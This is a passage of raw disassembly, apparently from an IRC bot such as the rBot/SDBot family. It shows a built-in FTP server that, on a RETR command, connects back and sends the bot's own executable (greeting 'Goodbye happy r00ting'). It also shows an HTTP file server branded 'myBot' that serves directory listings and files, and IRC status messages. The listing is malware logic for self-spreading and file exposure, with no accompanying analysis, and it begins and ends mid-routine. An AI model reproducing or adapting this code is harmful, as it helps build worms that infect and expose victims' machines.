pop ecx
test eax, eax
pop ecx
jnz short loc_40F7B2
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax ; Str
movsb
call _strlen
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F764
; ---------------------------------------------------------------------------
loc_40F7B2: ; CODE XREF: sub_40F3AA+3DCj
lea eax, [ebp+Str1]
push offset aPort ; "PORT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F883
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+Dst]
push offset aS_1 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax ; Src
call _sscanf
lea eax, [ebp+Dest]
push eax ; Str
call _atoi
mov edi, eax
lea eax, [ebp+var_2D4]
push eax ; Str
call _atoi
mov [ebp+var_C], eax
push 32h ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
add esp, 34h
lea eax, [ebp+Dest]
push [ebp+var_C]
push edi
push offset aXX ; "%x%x\n"
push eax ; Dest
call _sprintf
push 10h ; Radix
lea eax, [ebp+Dest]
push esi ; EndPtr
push eax ; Str
call _strtoul
add esp, 1Ch
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_4C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax ; Dest
call _sprintf
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F883: ; CODE XREF: sub_40F3AA+41Dj
lea eax, [ebp+Str1]
push offset aRetr ; "RETR"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F96A
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push [ebp+arg_0]
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_4C]
push eax
call sub_40F9BF
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F960
cmp [ebp+var_444], esi
jnz short loc_40F8ED
push esi ; int
lea eax, [ebp+var_8E0]
push [ebp+var_448] ; int
push eax ; int
lea eax, [ebp+var_4C8]
push eax ; Str
push [ebp+var_6E0] ; int
call sub_409869
add esp, 14h
loc_40F8ED: ; CODE XREF: sub_40F3AA+51Ej
call sub_40FA3C
cmp eax, 1
jnz loc_40F98E
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push [ebp+arg_0]
call ebx ; send
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_8E0]
push offset dword_434798 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F94B
push esi ; int
lea eax, [ebp+var_8E0]
push [ebp+var_448] ; int
push eax ; int
lea eax, [ebp+var_4C8]
push eax ; Str
push [ebp+var_6E0] ; int
call sub_409869
add esp, 14h
loc_40F94B: ; CODE XREF: sub_40F3AA+57Cj
lea eax, [ebp+var_8E0]
push eax
call sub_415D38
inc dword_4CE4E0
pop ecx
jmp short loc_40F98E
; ---------------------------------------------------------------------------
loc_40F960: ; CODE XREF: sub_40F3AA+512j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40F989
; ---------------------------------------------------------------------------
loc_40F96A: ; CODE XREF: sub_40F3AA+4EEj
lea eax, [ebp+Str1]
push offset aQuit ; "QUIT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F98E
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40F989: ; CODE XREF: sub_40F3AA+340j
; sub_40F3AA+377j ...
push [ebp+arg_0]
loc_40F98C: ; CODE XREF: sub_40F3AA+304j
call ebx ; send
loc_40F98E: ; CODE XREF: sub_40F3AA+3C2j
; sub_40F3AA+54Bj ...
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
mov edi, [ebp+arg_0]
add esp, 0Ch
loc_40F9A3: ; CODE XREF: sub_40F3AA+151j
; sub_40F3AA+17Aj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F4C9
jmp loc_40F48E
; ---------------------------------------------------------------------------
loc_40F9B5: ; CODE XREF: sub_40F3AA+10Fj
push 1
pop eax
loc_40F9B8: ; CODE XREF: sub_40F3AA+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9BF proc near ; CODE XREF: sub_40F3AA+508p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4271D8 ; WSAStartup
push 0
push 1
push 2
call ds:dword_427204 ; socket
push [ebp+arg_0]
mov dword_4CE71C, eax
mov [ebp+var_10], 2
call ds:dword_4271F0 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_4271F4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4CE71C
call ds:dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40FA37
push dword_4CE71C
call ds:dword_427200 ; closesocket
call ds:dword_4271D4 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FA37: ; CODE XREF: sub_40F9BF+60j
push 1
pop eax
leave
retn
sub_40F9BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA3C proc near ; CODE XREF: sub_40F3AA:loc_40F8EDp
DstBuf = byte ptr -504h
Filename = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+Filename]
push 104h
push eax
push 0
call ds:dword_427078 ; GetModuleFileNameA
lea eax, [ebp+Filename]
push offset aRb ; "rb"
push eax ; Filename
call _fopen
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FAD3
test byte ptr [esi+0Ch], 10h
jnz short loc_40FAB7
push edi
mov edi, 400h
loc_40FA7F: ; CODE XREF: sub_40FA3C+78j
push esi ; File
push 1 ; Count
lea eax, [ebp+DstBuf]
push edi ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
lea eax, [ebp+DstBuf]
push 0
push edi
push eax
push dword_4CE71C
call ds:dword_427208 ; send
push 1
call ds:dword_427080 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40FA7F
pop edi
loc_40FAB7: ; CODE XREF: sub_40FA3C+3Bj
push esi ; File
call _fclose
pop ecx
push dword_4CE71C
call ds:dword_427200 ; closesocket
call ds:dword_4271D4 ; WSACleanup
push 1
pop eax
loc_40FAD3: ; CODE XREF: sub_40FA3C+35j
pop esi
leave
retn
sub_40FA3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o
; sub_40BD91+475o
Str = byte ptr -28F0h
Str1 = byte ptr -18F0h
Dest = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_14], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_25C]
call dword_4CB9D4 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FEC1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
push 7FFFFFFFh
push edi
call dword_4CB9FC ; listen
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CBA70 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB9BC ; select
cmp eax, 0FFFFFFFFh
jz loc_40FEBC
xor esi, esi
mov [ebp+var_4], esi
loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz loc_40FEA7
cmp esi, [ebp+var_C]
jnz short loc_40FC65
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FEA7
xor ecx, ecx
test ebx, ebx
jbe short loc_40FC37
lea edx, [ebp+var_134]
loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj
cmp [edx], eax
jz short loc_40FC37
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FC2B
loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj
; sub_40FAD6+157j
cmp ecx, ebx
jnz short loc_40FC54
cmp ebx, 40h
jnb short loc_40FC54
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FC54: ; CODE XREF: sub_40FAD6+163j
; sub_40FAD6+168j
cmp eax, [ebp+var_8]
jbe loc_40FEA7
mov [ebp+var_8], eax
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FC65: ; CODE XREF: sub_40FAD6+126j
mov edi, 1000h
lea eax, [ebp+Str]
push edi ; Size
push 0 ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+Str]
push 0
push edi
push eax
push esi
call dword_4CB9EC ; recv
test eax, eax
jg short loc_40FCF8
push esi
call dword_4CBA6C ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_40FEA7
lea eax, [ebp+var_134]
loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj
cmp [eax], esi
jz short loc_40FCC8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FCB7
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FCEC
lea eax, [ebp+ecx*4+var_134]
loc_40FCD6: ; CODE XREF: sub_40FAD6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FCD6
loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j
xor esi, esi
push 104h ; Size
lea eax, [ebp+var_23C]
push esi ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Str]
mov [ebp+arg_0], esi
push eax ; Str
call _strlen
add esp, 10h
test eax, eax
jbe loc_40FEA7
loc_40FD26: ; CODE XREF: sub_40FAD6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+Str]
cmp al, 0Ah
mov [ebp+esi+Str1], al
jnz loc_40FDCB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_40FD9F
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 5
pop ecx
jbe short loc_40FD9F
mov eax, offset asc_42CDC0 ; " "
push eax ; Delim
push eax ; SubStr
lea eax, [ebp+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strtok
push eax ; Source
lea eax, [ebp+var_23C]
push eax ; Dest
call _strcpy
add esp, 10h
jmp short loc_40FDB6
; ---------------------------------------------------------------------------
loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj
; sub_40FAD6+291j
lea eax, [ebp+Str1]
push offset asc_4349EC ; "\r\n"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40FDEA
loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FDCB: ; CODE XREF: sub_40FAD6+263j
inc [ebp+arg_0]
lea eax, [ebp+Str]
push eax ; Str
inc esi
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FD26
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FE34
lea eax, [ebp+var_134]
loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FE07
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FDF6
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE07: ; CODE XREF: sub_40FAD6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FE2B
lea eax, [ebp+ecx*4+var_134]
loc_40FE15: ; CODE XREF: sub_40FAD6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FE15
loc_40FE2B: ; CODE XREF: sub_40FAD6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE34: ; CODE XREF: sub_40FAD6+318j
mov esi, [ebp+var_4]
loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj
; sub_40FAD6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FEA0
lea eax, [ebp+var_360]
push eax ; Str
call _strlen
mov edi, eax
lea eax, [ebp+var_23C]
push eax ; Str
call _strlen
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FEA0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CBA70 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4100B4
add esp, 14h
jmp short loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FEA0: ; CODE XREF: sub_40FAD6+369j
; sub_40FAD6+38Fj
push esi
call dword_4CBA6C ; closesocket
loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj
; sub_40FAD6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FBE3
jmp loc_40FBAD
; ---------------------------------------------------------------------------
loc_40FEBC: ; CODE XREF: sub_40FAD6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj
; sub_40FAD6+92j ...
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_4349C4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FF07
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_250] ; int
push eax ; int
lea eax, [ebp+var_5E8]
push eax ; Str
push [ebp+var_5EC] ; int
call sub_409869
add esp, 14h
loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_254]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_40FAD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do
Str = byte ptr -1654h
Source = byte ptr -654h
Dest = byte ptr -550h
var_44C = dword ptr -44Ch
Format = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40FF97
push offset aTextHtml ; "text/html"
jmp short loc_40FF9C
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40FF31+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40FF9C: ; CODE XREF: sub_40FF31+64j
lea eax, [ebp+var_9C]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call ds:dword_427110 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_42710C ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_410015
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 24h
jmp short loc_410036
; ---------------------------------------------------------------------------
loc_410015: ; CODE XREF: sub_40FF31+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+Str]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 28h
loc_410036: ; CODE XREF: sub_40FF31+E2j
lea eax, [ebp+Str]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_44C]
call dword_4CBA24 ; send
cmp [ebp+var_A4], edi
jnz short loc_410076
lea eax, [ebp+Dest]
push eax
push [ebp+var_44C]
call sub_4109F1
pop ecx
pop ecx
jmp short loc_410093
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_40FF31+12Dj
lea eax, [ebp+Source]
push eax ; Source
push edi ; int
push [ebp+var_44C] ; int
lea eax, [ebp+Dest]
push eax ; Str
call sub_41036B
add esp, 10h
loc_410093: ; CODE XREF: sub_40FF31+143j
push [ebp+var_44C]
call dword_4CBA6C ; closesocket
push [ebp+var_B4]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_40FF31 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p
Source = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
Str = byte ptr -314h
var_211 = byte ptr -211h
Dst = byte ptr -210h
Dest = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
mov [ebp+var_4], edi
call _memset
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4100EA
push eax
push offset aS_9 ; "\\%s"
jmp short loc_4100F3
; ---------------------------------------------------------------------------
loc_4100EA: ; CODE XREF: sub_4100B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_6 ; "%s"
loc_4100F3: ; CODE XREF: sub_4100B4+34j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
xor esi, esi
xor ebx, ebx
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_41018E
mov [ebp+arg_8], 2
loc_41011E: ; CODE XREF: sub_4100B4+D8j
lea eax, [ebp+Dest]
push eax ; Str
call _strlen
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_41015E
cmp [ebp+esi+Dest], 25h
jnz short loc_41015E
cmp [ebp+esi+var_10B], 32h
jnz short loc_41015E
cmp [ebp+esi+var_10A], 30h
jnz short loc_41015E
inc esi
mov [ebp+ebx+Dst], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410178
; ---------------------------------------------------------------------------
loc_41015E: ; CODE XREF: sub_4100B4+7Aj
; sub_4100B4+84j ...
mov al, [ebp+esi+Dest]
cmp al, 2Fh
jnz short loc_41016E
push 5Ch
pop eax
jmp short loc_410171
; ---------------------------------------------------------------------------
loc_41016E: ; CODE XREF: sub_4100B4+B3j
movsx eax, al
loc_410171: ; CODE XREF: sub_4100B4+B8j
mov [ebp+ebx+Dst], al
loc_410178: ; CODE XREF: sub_4100B4+A8j
lea eax, [ebp+Dest]
inc esi
inc [ebp+arg_8]
push eax ; Str
inc ebx
call _strlen
cmp esi, eax
pop ecx
jb short loc_41011E
loc_41018E: ; CODE XREF: sub_4100B4+61j
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Str]
push [ebp+arg_4]
push offset aSS ; "%s%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push offset asc_42A080 ; "\n"
push eax ; Str
call _strtok
add esp, 18h
lea eax, [ebp+Str]
push eax
call ds:dword_4270A0 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_4101DF
cmp eax, 0FFFFFFFFh
jnz short loc_4101E2
push [ebp+arg_0]
jmp loc_410262
; ---------------------------------------------------------------------------
loc_4101DF: ; CODE XREF: sub_4100B4+11Cj
mov [ebp+var_4], esi
loc_4101E2: ; CODE XREF: sub_4100B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4101EF
mov [ebp+var_4], esi
loc_4101EF: ; CODE XREF: sub_4100B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_41026D
cmp [ebp+arg_C], edi
jz short loc_410261
lea eax, [ebp+Str]
push offset asc_434C78 ; "*"
push eax ; Dest
call _strcat
pop ecx
lea eax, [ebp+Str]
pop ecx
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Str
call sub_410AAE
add esp, 0Ch
lea eax, [ebp+Dst]
push eax ; Format
lea eax, [ebp+var_53C]
push eax ; Dest
call _sprintf
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4102BC
; ---------------------------------------------------------------------------
loc_410261: ; CODE XREF: sub_4100B4+152j
push ebx
loc_410262: ; CODE XREF: sub_4100B4+126j
call dword_4CBA6C ; closesocket
jmp loc_410364
; ---------------------------------------------------------------------------
loc_41026D: ; CODE XREF: sub_4100B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+Str]
push 80000000h
push eax
call ds:dword_4270F8 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4102BC
lea eax, [ebp+Str]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call ds:dword_427114 ; GetFileSize
push esi
mov [ebp+var_330], eax
call ds:dword_427070 ; CloseHandle
loc_4102BC: ; CODE XREF: sub_4100B4+1ABj
; sub_4100B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+Source]
push esi
push offset asc_434C44 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_40B3BA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E914[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FF31
push edi
push edi
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_410336
loc_410324: ; CODE XREF: sub_4100B4+280j
cmp [ebp+var_318], edi
jnz short loc_410364
push 5
call ds:dword_427080 ; Sleep
jmp short loc_410324
; ---------------------------------------------------------------------------
loc_410336: ; CODE XREF: sub_4100B4+26Ej
push ebx
call dword_4CBA6C ; closesocket
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_434C0C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_415D38
add esp, 10h
loc_410364: ; CODE XREF: sub_4100B4+1B4j
; sub_4100B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4100B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41036B(char *Str,int,int,char *Source)
sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p
; sub_40FF31+15Ap
Dst = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
Str1 = byte ptr -35Ch
var_248 = byte ptr -248h
Dest = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call _memset
mov edi, [ebp+Str]
push offset asc_42A080 ; "\n"
push edi ; Str
call _strtok
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4103CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_4104C9
; ---------------------------------------------------------------------------
loc_4103CA: ; CODE XREF: sub_41036B+3Aj
cmp [ebp+Source], ebx
push edi ; Str
jz loc_4104AF
call _strlen
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push edi
